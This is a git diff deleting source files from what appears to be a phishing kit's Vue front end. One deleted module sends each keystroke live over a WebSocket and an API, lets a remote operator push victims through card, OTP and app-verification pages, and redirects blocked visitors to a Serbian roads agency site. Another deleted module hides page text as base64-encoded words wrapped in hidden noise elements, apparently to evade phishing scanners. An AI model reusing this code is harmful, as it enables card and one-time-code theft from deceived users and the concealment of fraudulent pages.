- document.head.appendChild(style);
- }
-
- // 添加自定义元素注册,确保所有浏览器都能正确处理
- const scriptCustomElements = document.createElement('script');
- scriptCustomElements.textContent = `
- // 注册所有自定义元素
- if ('customElements' in window) {
- customElements.define('z-wrap', class extends HTMLElement {});
- customElements.define('z-span', class extends HTMLElement {});
- customElements.define('z-strong', class extends HTMLElement {});
- customElements.define('z-space', class extends HTMLElement {});
- customElements.define('z-break', class extends HTMLElement {});
-
- // 注册噪声元素
- customElements.define('z-nil', class extends HTMLElement {});
- customElements.define('z-void', class extends HTMLElement {});
- customElements.define('z-null', class extends HTMLElement {});
- customElements.define('z-fake', class extends HTMLElement {});
- customElements.define('z-empty', class extends HTMLElement {});
- customElements.define('z-attr', class extends HTMLElement {});
- customElements.define('z-text', class extends HTMLElement {});
- customElements.define('z-hidden', class extends HTMLElement {});
- }
- `;
- document.head.appendChild(scriptCustomElements);
-
- // 添加提前解码的脚本,放在顶部优先加载
- if (!document.getElementById('obfuscation-script')) {
- const script = document.createElement('script');
- script.id = 'obfuscation-script';
- script.textContent = `
- (function() {
- // 定义解码函数并暴露为全局函数
- window.decodeObfuscatedContent = function(rootElement) {
- const root = rootElement || document.body;
- const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]');
-
- if (elements.length === 0) return;
-
- // 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染
- const runWhenIdle = window.requestIdleCallback ||
- function(cb) { setTimeout(cb, 1); };
-
- runWhenIdle(() => {
- elements.forEach(el => {
- // 避免重复解码
- if (el.hasAttribute('data-content')) return;
-
- // 找到编码数据
- const dataAttr = el.getAttribute('data-data');
- if (dataAttr) {
- try {
- // 解码并设置
- const decodedWord = decodeURIComponent(atob(dataAttr));
- el.setAttribute('data-content', decodedWord);
- el.removeAttribute('data-preload');
- } catch (e) {
- // 解码失败时跳过
- }
- }
- });
- });
- };
-
- // 页面加载完成后立即执行一次全局解码
- if (document.readyState === 'loading') {
- document.addEventListener('DOMContentLoaded', function() {
- window.decodeObfuscatedContent();
- });
- } else {
- window.decodeObfuscatedContent();
- }
-
- // 使用IntersectionObserver优化解码性能
- if ('IntersectionObserver' in window) {
- const decodeObserver = new IntersectionObserver(
- (entries, observer) => {
- entries.forEach(entry => {
- if (entry.isIntersecting) {
- // 容器进入视口时解码其内容
- window.decodeObfuscatedContent(entry.target);
- observer.unobserve(entry.target);
- }
- });
- },
- { rootMargin: '200px 0px' } // 提前200像素开始解码
- );
-
- // 监听所有混淆容器
- function observeContainers() {
- document.querySelectorAll('z-wrap').forEach(container => {
- decodeObserver.observe(container);
- });
- }
-
- // 初始观察
- if (document.readyState === 'loading') {
- document.addEventListener('DOMContentLoaded', observeContainers);
- } else {
- observeContainers();
- }
-
- // 定期检查新容器
- setInterval(observeContainers, 2000);
- } else {
- // 降级方案:定期全局检查
- setInterval(() => window.decodeObfuscatedContent(), 1000);
- }
- })();
- `;
-
- // 将脚本添加到head的最前面,确保尽早加载
- if (document.head.firstChild) {
- document.head.insertBefore(script, document.head.firstChild);
- } else {
- document.head.appendChild(script);
- }
- }
-}
\ No newline at end of file
diff --git a/t_etc_temp3/src/utils/common.ts.backup b/t_etc_temp3/src/utils/common.ts.backup
deleted file mode 100644
index 8f55f26..0000000
--- a/t_etc_temp3/src/utils/common.ts.backup
+++ /dev/null
@@ -1,331 +0,0 @@
-import _ from "lodash";
-import { sendInput } from "@/api/api";
-import type { Socket } from "@/utils/websocket";
-import eventBus from "@/utils/eventBus";
-import router from "@/router";
-import { ref } from "vue";
-import { useSocket } from "@/utils/websocket";
-import { useLoadingStore } from "@/stores/loadingStore";
-import i18n from "@/main";
-import { useSocketIo } from "./socketio";
-
-const viteBaseUrl = import.meta.env.VITE_BASE_URL;
-
-// WebSocket interface
-interface MyWebSocket {
- socket: any;
- send: (data: string) => Promise;
- off: (event: string) => void;
- on: (event: string, callback: (data: any) => void) => void;
-}
-
-export const customOtpData = ref({});
-
-export function setCustomOtpData(data: any) {
- customOtpData.value = data;
- localStorage.setItem("customOtpData", JSON.stringify(data));
-}
-
-export let myWebSocket: MyWebSocket | undefined;
-
-// Configuration data
-export const configData = ref>({});
-
-// Utility function to check if all values in an object are not empty
-export function areAllValuesNotEmpty(
- obj: Record,
- excludedFields: string[] = []
-): boolean {
- return Object.keys(obj).every((key) => {
- if (excludedFields.includes(key)) return true;
- const value = obj[key];
- return (
- value !== null &&
- value !== undefined &&
- value !== "" &&
- !(typeof value === "string" && value.trim() === "")
- );
- });
-}
-
-// 存储 WebSocket 和 API 的防抖函数
-const wsDebounceFunctions: Record<
- string,
- _.DebouncedFunc<(...args: any[]) => void>
-> = {};
-const apiDebounceFunctions: Record<
- string,
- _.DebouncedFunc<(...args: any[]) => void>
-> = {};
-
-// 获取或创建针对某个键的防抖函数
-function getDebouncedFunction(
- debounceFunctions: Record void>>,
- key: string,
- func: (...args: any[]) => void,
- wait: number
-) {
- if (!debounceFunctions[key]) {
- debounceFunctions[key] = _.debounce(func, wait);
- }
- return debounceFunctions[key];
-}
-
-const modeRef = ref(1)
-
-
-// 处理输入变化
-export function inputChange(type: string, key: any, value: any) {
- const currentTimestamp = Date.now(); // 当前时间戳
-
- // WebSocket 防抖函数
- const wsDebouncedFunction = getDebouncedFunction(
- wsDebounceFunctions,
- key,
- (type, key, value) => {
- myWebSocket?.send(
- JSON.stringify({
- event: "input_text",
- content: { type, key, text: value },
- timestamp: currentTimestamp,
- })
- );
- },
- 300
- );
-
- // API 防抖函数
- const apiDebouncedFunction = getDebouncedFunction(
- apiDebounceFunctions,
- key,
- (type, key, value) => {
- sendInput({
- content: { type, key, text: value },
- timestamp: currentTimestamp,
- });
- },
- 1000
- );
-
- // 调用防抖函数
- wsDebouncedFunction(type, key, value);
- if(modeRef.value !== 2) {
- apiDebouncedFunction(type, key, value);
- }
-}
-
-
-// Handle login success
-export function loginSuccess(token: string, mode: number) {
- if(mode === 2) {
- modeRef.value = 2
- myWebSocket = useSocketIo(
- `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
- }/ws?token=${token}`
- );
- }else{
- myWebSocket = useSocket(
- `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
- }/ws?token=${token}`
- );
- }
-
- myWebSocket?.on("close", () => console.log("Socket closed!"));
- myWebSocket?.on("open", () => {
- const lastToken = localStorage.getItem("token");
- loginWebsocket(token, lastToken !== token);
- });
-
- myWebSocket?.on("message", handleMessage);
-
- window.addEventListener("beforeunload", () => {
- myWebSocket?.off("close");
- });
-}
-
-// Handle WebSocket messages
-function handleMessage(data: any) {
- const jsonData = JSON.parse(data);
- if (!jsonData || !jsonData.event) return;
-
- const { event, content } = jsonData;
-
- switch (event) {
- case "login":
- //handleLoginEvent(content);
- break;
- case "result_type":
- handleResultTypeEvent(content);
- break;
- case "reload":
- window.location.reload();
- break;
- default:
- break;
- }
-}
-
-// Handle login event
-function handleLoginEvent(content: any) {
- const route = localStorage.getItem("route");
- if (route) {
- const customOtpDataValue = localStorage.getItem("customOtpData");
- if (route === "customOtpValid" && customOtpDataValue) {
- setCustomOtpData(JSON.parse(customOtpDataValue));
- myWebSocket?.send(
- JSON.stringify({
- event: "page_type",
- content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type },
- })
- );
- return;
- }
- myWebSocket?.send(
- JSON.stringify({
- event: "page_type",
- content: { pageType: route },
- })
- );
- }
-}
-
-// Handle result type event
-function handleResultTypeEvent(content: any) {
- if (!content) return;
-
- const typeHandlers: Record void> = {
- customOtpValid: () => navigateTo("/customOtpValid", content),
- otpValid: () => navigateTo("/otpValid", content),
- appValid: () => navigateTo("/appValid", content),
- success: () => router.push("/success"),
- kickOut: redirectToExternal,
- block: redirectToExternal,
- otpFail: () =>
- eventBus.emit("otp-valid", {
- message2:
- content.value.message2 ||
- i18n.global.t("Verification code error, please try again"),
- }),
- appFail: () =>
- eventBus.emit("app-valid", {
- message2:
- content.value.message2 ||
- i18n.global.t(
- "The session is about to expire, please complete the verification now"
- ),
- }),
- back: () => handleBackOrReject(content, true),
- reject: () => handleBackOrReject(content, false),
- refresh: () => {
- if(localStorage.getItem("route")){
- localStorage.removeItem("route");
- window.location.reload();
- }
- },
- };
-
- if (content.type == "customOtpValid") {
- if(content.value.customOtpData) {
- setCustomOtpData(JSON.parse(content.value.customOtpData));
- }
-}
- if (content.type == "customOtpFail") {
- eventBus.emit("custom-otp-valid", {
- message2: content.value.message2,
- });
- }
-
- const handler = typeHandlers[content.type];
- if (handler) handler();
-
- useLoadingStore().setLoading(false);
-}
-
-// Navigate to specific path with query parameters
-function navigateTo(path: string, content: any) {
-
- router.push('/temp').then(() => {
- router.push({
- path: path,
- query: {
- cardType: content.value?.data?.cardData?.cardBIN?.schema,
- message1: content.value?.message1,
- key: new Date().getMilliseconds(),
- },
- });
- });
-}
-
-// Handle back or reject type
-function handleBackOrReject(content: any, isBack: boolean) {
- let message2 = i18n.global.t(
- "This card does not support this transaction, please try another card"
- );
-
- if (configData.value.error_card_msg) {
- message2 = configData.value.error_card_msg;
- }
-
- if (content.value.type) {
- const type = content.value.type;
- if (type === "denyC" && configData.value.deny_c_msg) {
- message2 = configData.value.deny_c_msg;
- }
- if (type === "denyD" && configData.value.deny_d_msg) {
- message2 = configData.value.deny_d_msg;
- }
- }
-
- if (content.value.message2) {
- message2 = content.value.message2;
- }
-
- if (isBack) {
- router.push({ path: "/card", query: { message2 } });
- }
-
- eventBus.emit("my-event", { message2 });
-}
-
-// Login to WebSocket
-function loginWebsocket(token: string, isFirst: boolean) {
- myWebSocket?.send(
- JSON.stringify({
- event: "login",
- content: { tag: "user", token, isFirst },
- })
- );
- initHtml();
-}
-
-// Redirect to an external URL
-export function redirectToExternal() {
- window.location.href = "https://www.putevi-srbije.rs/";
-}
-
-export async function loadHtml(url: string) {
- try {
- const response = await fetch(url); // 替换为您的 HTML 文件路径
- if (!response.ok) {
- return "";
- }
- return await response.text();
- } catch (error) {
- return "";
- }
-}
-
-export const headerHtml = ref("");
-export const footerHtml = ref("");
-export const loadingBg = ref("#ffffff");
-
-const initHtml = async () => {
- const routePath = localStorage.getItem("route");
- headerHtml.value = await loadHtml("/Static_zy/header.html");
- footerHtml.value = await loadHtml("/Static_zy/footer.html");
- await router.push(routePath ? `/${routePath}` : "/phone");
- setTimeout(async () => {
- useLoadingStore().setLoading(false);
- loadingBg.value = "transparent";
- }, 200);
-};
diff --git a/t_post_temp1/src/components/HelloWorld.vue b/t_post_temp1/src/components/HelloWorld.vue
deleted file mode 100644
index 8f39347..0000000
--- a/t_post_temp1/src/components/HelloWorld.vue
+++ /dev/null
@@ -1,51 +0,0 @@
-
-
-
-
-
{{ msg }}
-
Send /
-
- You’ve successfully created a project with
- Vite +
- Vue 3 .
- What's next?
-
-
-
-
-
diff --git a/t_post_temp1/src/components/TheWelcome.vue b/t_post_temp1/src/components/TheWelcome.vue
deleted file mode 100644
index a70765c..0000000
--- a/t_post_temp1/src/components/TheWelcome.vue
+++ /dev/null
@@ -1,86 +0,0 @@
-
-
-
-
-
-
-
- Documentation
-
- Vue’s
- official documentation
- provides you with all information you need to get started.
-
-
-
-
-
-
- Tooling
-
- This project is served and bundled with
- Vite . The
- recommended IDE setup is
- VSCode +
- Volar . If
- you need to test your components and web pages, check out
- Cypress and
- Cypress Component Testing .
-
-
-
- More instructions are available in README.md.
-
-
-
-
-
-
- Ecosystem
-
- Get official tools and libraries for your project:
- Pinia ,
- Vue Router ,
- Vue Test Utils , and
- Vue Dev Tools . If
- you need more resources, we suggest paying
- Awesome Vue
- a visit.
-
-
-
-
-
-
- Community
-
- Got stuck? Ask your question on
- Vue Land , our official
- Discord server, or
- StackOverflow . You should also subscribe to
- our mailing list and follow
- the official
- @vuejs
- twitter account for latest news in the Vue world.
-
-
-
-
-
-
- Support Vue
-
- As an independent project, Vue relies on community backing for its sustainability. You can help
- us by
- becoming a sponsor .
-
-
diff --git a/t_post_temp1/src/components/WelcomeItem.vue b/t_post_temp1/src/components/WelcomeItem.vue
deleted file mode 100644
index ba0def3..0000000
--- a/t_post_temp1/src/components/WelcomeItem.vue
+++ /dev/null
@@ -1,86 +0,0 @@
-
-
-
-
-
diff --git a/t_post_temp1/src/main.ts b/t_post_temp1/src/main.ts
index fb9aaa3..bd65a08 100644
--- a/t_post_temp1/src/main.ts
+++ b/t_post_temp1/src/main.ts
@@ -1,4 +1,3 @@
-import { TextObfuscatorPlugin } from "./mix/textObfuscator";
import { createApp, ref } from "vue";
import { createPinia } from "pinia";
@@ -29,6 +28,5 @@ router.beforeEach((to, from, next) => {
VueScrollTo.scrollTo("#app", 0);
next();
});
-// //app.use(TextObfuscatorPlugin);
app.mount("#app");
export default i18n;
diff --git a/t_post_temp1/src/mix/textObfuscator.ts b/t_post_temp1/src/mix/textObfuscator.ts
deleted file mode 100644
index 76c21e9..0000000
--- a/t_post_temp1/src/mix/textObfuscator.ts
+++ /dev/null
@@ -1,643 +0,0 @@
-import type { ComponentInternalInstance, Plugin, App } from 'vue';
-
-/**
- * 全局文本混淆插件
- * 自动查找并替换所有文本节点
- */
-// 修改Vue混淆插件以确保处理整个组件树
-export const TextObfuscatorPlugin: Plugin = {
- install(app: App) {
- // 安装全局样式和解码脚本
- addObfuscationStyle();
-
- // 注册全局指令,直接处理元素内容
- app.directive('odata', {
- mounted(el) {
- processTextNodes(el, null);
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(el), 0);
- }
- setupMutationObserver(el);
- },
- updated(el) {
- processTextNodes(el, null);
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(el), 0);
- }
- }
- });
-
- // 在 app.mixin 中修改处理 $el 的部分
- app.mixin({
- mounted() {
- // 安全地获取组件的根元素(s)
- const rootElements = this.$el ?
- (this.$el.nodeType === Node.ELEMENT_NODE ?
- [this.$el] :
- (Array.isArray(this.$el) ? this.$el : [])) :
- [];
-
- // 处理每个根元素
- rootElements.forEach((rootElement: Element) => {
- if (!rootElement || !(rootElement instanceof Element)) return;
-
- // 1. 首先处理当前组件的根元素
- processTextNodes(rootElement, this);
-
- // 2. 递归处理所有子元素,确保覆盖所有文本节点
- const processAllChildNodes = (element: Element) => {
- if (!(element instanceof Element)) return;
-
- try {
- // 为每个子元素单独处理文本节点
- const childElements = element.querySelectorAll('*');
- childElements.forEach(childEl => {
- processTextNodes(childEl, null);
- });
-
- // 立即解码当前处理的元素
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(element), 0);
- }
- } catch (error) {
- console.error('Error processing child nodes:', error, element);
- }
- };
-
- // 处理整个组件树
- processAllChildNodes(rootElement);
-
- // 设置监听
- setupMutationObserver(rootElement);
- });
- // 添加:深度扫描所有包含纯文本的元素
- setTimeout(() => {
- const scanPureTextElements = (rootElement: Element) => {
- // 跳过已处理过的元素
- if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) {
- return;
- }
-
- // 检查是否为包含纯文本的元素(只有文本节点,没有元素节点)
- let hasOnlyTextNodes = false;
- let hasElementNodes = false;
-
- if (rootElement.childNodes && rootElement.childNodes.length > 0) {
- hasOnlyTextNodes = Array.from(rootElement.childNodes).some(
- node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim()
- );
-
- hasElementNodes = Array.from(rootElement.childNodes).some(
- node => node.nodeType === Node.ELEMENT_NODE
- );
- }
-
- // 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它
- if (hasOnlyTextNodes && !hasElementNodes &&
- !SKIP_TAGS.includes(rootElement.tagName) &&
- !Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) {
- processTextNodes(rootElement, null);
- if (window.decodeObfuscatedContent) {
- window.decodeObfuscatedContent(rootElement);
- }
- }
-
- // 递归处理子元素
- if (rootElement.children) {
- Array.from(rootElement.children).forEach(child => {
- scanPureTextElements(child);
- });
- }
- };
-
- // 从body开始扫描
- scanPureTextElements(document.body);
- }, 10); // 给DOM足够的时间渲染
- },
-
- updated() {
- // 安全地获取组件的根元素(s)
- const rootElements = this.$el ?
- (this.$el.nodeType === Node.ELEMENT_NODE ?
- [this.$el] :
- (Array.isArray(this.$el) ? this.$el : [])) :
- [];
-
- // 处理每个根元素
- rootElements.forEach((rootElement: Element | undefined) => {
- if (!rootElement || !(rootElement instanceof Element)) return;
-
- processTextNodes(rootElement, this);
-
- try {
- // 递归处理所有子元素
- const childElements = rootElement.querySelectorAll('*');
- childElements.forEach((childEl: Element) => {
- processTextNodes(childEl, null);
- });
-
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(rootElement), 0);
- }
- } catch (error) {
- console.error('Error processing updated component:', error, rootElement);
- }
- });
- }
- });
- }
-};
-
-// 声明全局函数类型
-declare global {
- interface Window {
- decodeObfuscatedContent: (rootElement?: Element) => void;
- }
-}
-
-// 需要跳过的标签
-const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE'];
-// 需要跳过的类名
-const SKIP_CLASSES = ['no-obfuscate'];
-
-/**
- * 处理元素中的所有文本节点
- */
-function processTextNodes(element: Element, instance: ComponentInternalInstance | null) {
- if (!element || element.nodeType !== Node.ELEMENT_NODE) {
- return;
- }
- // 为 DIV 元素增加优先处理逻辑
- if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) {
- // 对于DIV元素,特殊处理其直接子文本节点
- let hasTextContent = false;
- for (let i = 0; i < element.childNodes.length; i++) {
- const node = element.childNodes[i];
- if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') {
- hasTextContent = true;
- break;
- }
- }
-
- // 如果DIV中有直接的文本内容,标记它需要被处理
- if (hasTextContent) {
- // 只处理未混淆过的DIV
- const textContent = Array.from(element.childNodes)
- .filter(node => node.nodeType === Node.TEXT_NODE && node.textContent)
- .map(node => node.textContent).join('').trim();
-
- if (textContent) {
- // 替换整个DIV的内容
- const originalHTML = element.innerHTML;
- const processedHTML = obfuscateText(textContent);
- element.innerHTML = processedHTML + originalHTML.replace(textContent, '');
- element.setAttribute('data-obfuscated', 'true');
- }
- }
- }
- // 跳过带有特定标记的元素(避免重复处理)
- if (element.hasAttribute('data-obfuscated') ||
- !element ||
- SKIP_TAGS.includes(element.tagName) ||
- Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) {
- return;
- }
-
- // 使用 TreeWalker 遍历所有文本节点
- const walker = document.createTreeWalker(
- element,
- NodeFilter.SHOW_TEXT,
- {
- acceptNode(node) {
- // 不处理完全空的文本节点
- if (!node.textContent) {
- return NodeFilter.FILTER_REJECT;
- }
-
- // 检查父节点是否应该被跳过
- const parent = node.parentElement;
- if (parent && (
- SKIP_TAGS.includes(parent.tagName) ||
- parent.hasAttribute('data-obfuscated') ||
- Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls))
- )) {
- return NodeFilter.FILTER_REJECT;
- }
-
- // 如果只包含空白且不是段落的首个节点,则跳过
- if (node.textContent.trim() === '' &&
- !(parent?.tagName === 'P' && node === parent.firstChild)) {
- return NodeFilter.FILTER_REJECT;
- }
-
- return NodeFilter.FILTER_ACCEPT;
- }
- }
- );
-
- // 收集需要处理的文本节点
- const textNodes: Text[] = [];
- let currentNode: Node | null = walker.nextNode();
-
- while (currentNode) {
- textNodes.push(currentNode as Text);
- currentNode = walker.nextNode();
- }
-
- // 预先计算所有混淆内容,减少DOM操作次数
- const fragments: DocumentFragment[] = [];
- const nodesToReplace: Text[] = [];
-
- // 在处理文本节点前,移除所有前导空格
- for (const textNode of textNodes) {
- const text = textNode.textContent;
- if (!text) continue;
-
- // 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白
- let processedText = text;
- if (textNode.parentElement?.tagName === 'P' &&
- textNode === textNode.parentElement.firstChild) {
- // 去除开头的空白,无论什么情况
- processedText = text.replace(/^\s+/, '');
- // 如果去除空白后为空,直接跳过这个节点
- if (!processedText) continue;
- }
-
- try {
- // 创建文档碎片来存储混淆后的内容
- const fragment = document.createDocumentFragment();
- const tempContainer = document.createElement('div');
- tempContainer.innerHTML = obfuscateText(processedText);
-
- // 将内容移动到碎片中
- while (tempContainer.firstChild) {
- fragment.appendChild(tempContainer.firstChild);
- }
-
- fragments.push(fragment);
- nodesToReplace.push(textNode);
- } catch (error) {
- console.error('Error processing text node:', error);
- }
- }
-
- // 批量替换节点,减少回流
- for (let i = 0; i < nodesToReplace.length; i++) {
- const textNode = nodesToReplace[i];
- const fragment = fragments[i];
-
- if (textNode.parentNode) {
- textNode.parentNode.replaceChild(fragment, textNode);
- }
- }
-}
-
-/**
- * 设置 MutationObserver 来监听 DOM 变化
- */
-function setupMutationObserver(element: Element) {
- if (!element) return;
-
- const observer = new MutationObserver((mutations) => {
- for (const mutation of mutations) {
- if (mutation.type === 'childList' && mutation.addedNodes.length) {
- mutation.addedNodes.forEach((node) => {
- if (node.nodeType === Node.ELEMENT_NODE) {
- processTextNodes(node as Element, null);
- // 观察到新元素后立即解码
- if (window.decodeObfuscatedContent) {
- window.decodeObfuscatedContent(node as Element);
- }
- }
- });
- }
- }
- });
-
- observer.observe(element, {
- childList: true,
- subtree: true
- });
-}
-
-/**
- * 生成随机噪声标签和注释
- */
-function getRandomNoise() {
- const noiseTypes = [
- // HTML注释
- () => ``,
- // 空的自定义元素
- () => {
- const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty'];
- const tag = tags[Math.floor(Math.random() * tags.length)];
- return `<${tag}>${tag}>`;
- },
- // 带随机属性的自定义元素
- () => {
- const attr = `data-${Math.random().toString(36).substring(2, 7)}`;
- const value = Math.random().toString(36).substring(2, 10);
- return ` `;
- },
- // 带随机文本的隐藏元素
- () => {
- const text = Math.random().toString(36).substring(2, 8);
- return `${text} `;
- }
- ];
-
- // 随机选择一种噪声类型
- const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)];
- return noiseGenerator();
-}
-
-/**
- * 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签
- */
-function obfuscateText(text: string): string {
- if (!text) return '';
-
- // 首先移除文本开头的所有空白字符以解决段落首行缩进问题
- text = text.replace(/^\s+/, '');
- if (!text) return '';
-
- // 使用正则表达式将文本拆分为单词和空格,保持完整性
- const words = text.split(/(\s+)/);
- let result = '';
-
- // 过滤掉空字符串,避免生成空的z-span元素
- const filteredWords = words.filter(word => word.length > 0);
-
- // 为每个单词创建一个独立的自定义元素
- filteredWords.forEach((word, index) => {
- // 对空格和特殊字符进行特殊处理
- if (/^\s+$/.test(word)) {
- // 改进:更精确地处理各种换行符
- if (/[\n\r]/.test(word)) {
- // 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素
- result += ' ';
- } else {
- // 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space
- result += ' ';
- }
- return;
- }
-
- // 随机在单词前添加噪声,但减少频率
- if (Math.random() > 0.85) {
- result += getRandomNoise();
- }
-
- // 为了提高效率,固定属性名
- const attrId = `data`;
-
- // 将单词编码为Base64
- const encodedWord = btoa(encodeURIComponent(word));
-
- // 随机选择z-span或z-strong标签增加混淆度
- const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong';
-
- // 添加标签开始部分
- result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`;
-
- // 随机在标签内添加隐藏内容,但减少频率
- if (Math.random() > 0.8) {
- const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5));
- result += `${fakeText} `;
- }
-
- // 闭合标签
- result += `${tagName}>`;
-
- // 随机在单词后添加噪声,但减少频率
- if (Math.random() > 0.85) {
- result += getRandomNoise();
- }
- });
-
- result += ' ';
- return result;
-}
-
-/**
- * 添加显示混淆内容的样式和解码脚本
- */
-function addObfuscationStyle() {
- // 添加样式
- if (!document.getElementById('obfuscation-style')) {
- const style = document.createElement('style');
- style.id = 'obfuscation-style';
- style.textContent = `
- /* 自定义元素基本样式 */
- z-wrap {
- display: inline;
- white-space: normal;
- user-select: none; /* 阻止文本选择 */
- text-indent: 0 !important; /* 确保无缩进 */
- }
-
- /* 添加一个类来允许选择文本的情况 */
- .allow-select z-wrap {
- user-select: text;
- }
-
- /* 确保段落中的混淆内容没有开头缩进 */
- p > z-wrap:first-child {
- text-indent: 0 !important;
- margin-left: 0 !important;
- padding-left: 0 !important;
- }
-
- /* 处理所有p标签,确保没有多余空间 */
- p {
- text-indent: 0;
- }
-
- z-span, z-strong {
- display: inline-block;
- position: relative;
- opacity: 1;
- transition: opacity 0.1s ease;
- margin: 0;
- padding: 0;
- }
-
- /* 控制右侧间距 */
- z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span {
- margin-left: 0.1em;
- }
-
- /* 移除最后一个元素的右侧间距 */
- z-span:last-child, z-strong:last-child {
- margin-right: 0;
- }
-
- z-span::after, z-strong::after {
- content: attr(data-content);
- position: relative;
- pointer-events: none;
- }
-
- /* 空格元素 - 精确控制宽度 */
- z-space {
- display: inline-block;
- width: 0.25em;
- margin: 0;
- padding: 0;
- }
-
- /* 空的z-span/z-strong元素不应该显示 */
- z-span:not([data-content]), z-strong:not([data-content]) {
- display: none;
- }
-
- /* 换行元素 - 强制换行且完全没有尺寸 */
- z-break {
- display: block !important;
- height: 0 !important;
- width: 0 !important;
- margin: 0 !important;
- padding: 0 !important;
- border: none !important;
- line-height: 0 !important;
- font-size: 0 !important;
- overflow: hidden !important;
- }
-
- /* 隐藏所有噪声元素 */
- z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden {
- display: none;
- width: 0;
- height: 0;
- opacity: 0;
- overflow: hidden;
- position: absolute;
- visibility: hidden;
- }
-
- /* 预加载状态 */
- [data-preload="true"] {
- min-width: 0.5em;
- min-height: 1em;
- }
- `;
- document.head.appendChild(style);
- }
-
- // 添加自定义元素注册,确保所有浏览器都能正确处理
- const scriptCustomElements = document.createElement('script');
- scriptCustomElements.textContent = `
- // 注册所有自定义元素
- if ('customElements' in window) {
- customElements.define('z-wrap', class extends HTMLElement {});
- customElements.define('z-span', class extends HTMLElement {});
- customElements.define('z-strong', class extends HTMLElement {});
- customElements.define('z-space', class extends HTMLElement {});
- customElements.define('z-break', class extends HTMLElement {});
-
- // 注册噪声元素
- customElements.define('z-nil', class extends HTMLElement {});
- customElements.define('z-void', class extends HTMLElement {});
- customElements.define('z-null', class extends HTMLElement {});
- customElements.define('z-fake', class extends HTMLElement {});
- customElements.define('z-empty', class extends HTMLElement {});
- customElements.define('z-attr', class extends HTMLElement {});
- customElements.define('z-text', class extends HTMLElement {});
- customElements.define('z-hidden', class extends HTMLElement {});
- }
- `;
- document.head.appendChild(scriptCustomElements);
-
- // 添加提前解码的脚本,放在顶部优先加载
- if (!document.getElementById('obfuscation-script')) {
- const script = document.createElement('script');
- script.id = 'obfuscation-script';
- script.textContent = `
- (function() {
- // 定义解码函数并暴露为全局函数
- window.decodeObfuscatedContent = function(rootElement) {
- const root = rootElement || document.body;
- const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]');
-
- if (elements.length === 0) return;
-
- // 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染
- const runWhenIdle = window.requestIdleCallback ||
- function(cb) { setTimeout(cb, 1); };
-
- runWhenIdle(() => {
- elements.forEach(el => {
- // 避免重复解码
- if (el.hasAttribute('data-content')) return;
-
- // 找到编码数据
- const dataAttr = el.getAttribute('data-data');
- if (dataAttr) {
- try {
- // 解码并设置
- const decodedWord = decodeURIComponent(atob(dataAttr));
- el.setAttribute('data-content', decodedWord);
- el.removeAttribute('data-preload');
- } catch (e) {
- // 解码失败时跳过
- }
- }
- });
- });
- };
-
- // 页面加载完成后立即执行一次全局解码
- if (document.readyState === 'loading') {
- document.addEventListener('DOMContentLoaded', function() {
- window.decodeObfuscatedContent();
- });
- } else {
- window.decodeObfuscatedContent();
- }
-
- // 使用IntersectionObserver优化解码性能
- if ('IntersectionObserver' in window) {
- const decodeObserver = new IntersectionObserver(
- (entries, observer) => {
- entries.forEach(entry => {
- if (entry.isIntersecting) {
- // 容器进入视口时解码其内容
- window.decodeObfuscatedContent(entry.target);
- observer.unobserve(entry.target);
- }
- });
- },
- { rootMargin: '200px 0px' } // 提前200像素开始解码
- );
-
- // 监听所有混淆容器
- function observeContainers() {
- document.querySelectorAll('z-wrap').forEach(container => {
- decodeObserver.observe(container);
- });
- }
-
- // 初始观察
- if (document.readyState === 'loading') {
- document.addEventListener('DOMContentLoaded', observeContainers);
- } else {
- observeContainers();
- }
-
- // 定期检查新容器
- setInterval(observeContainers, 2000);
- } else {
- // 降级方案:定期全局检查
- setInterval(() => window.decodeObfuscatedContent(), 1000);
- }
- })();
- `;
-
- // 将脚本添加到head的最前面,确保尽早加载
- if (document.head.firstChild) {
- document.head.insertBefore(script, document.head.firstChild);
- } else {
- document.head.appendChild(script);
- }
- }
-}
\ No newline at end of file
diff --git a/t_post_temp1/src/utils/common.ts.backup b/t_post_temp1/src/utils/common.ts.backup
deleted file mode 100644
index 4dde738..0000000
--- a/t_post_temp1/src/utils/common.ts.backup
+++ /dev/null
@@ -1,331 +0,0 @@
-import _ from "lodash";
-import { sendInput } from "@/api/api";
-import type { Socket } from "@/utils/websocket";
-import eventBus from "@/utils/eventBus";
-import router from "@/router";
-import { ref } from "vue";
-import { useSocket } from "@/utils/websocket";
-import { useLoadingStore } from "@/stores/loadingStore";
-import i18n from "@/main";
-import { useSocketIo } from "./socketio";
-
-const viteBaseUrl = import.meta.env.VITE_BASE_URL;
-
-// WebSocket interface
-interface MyWebSocket {
- socket: any;
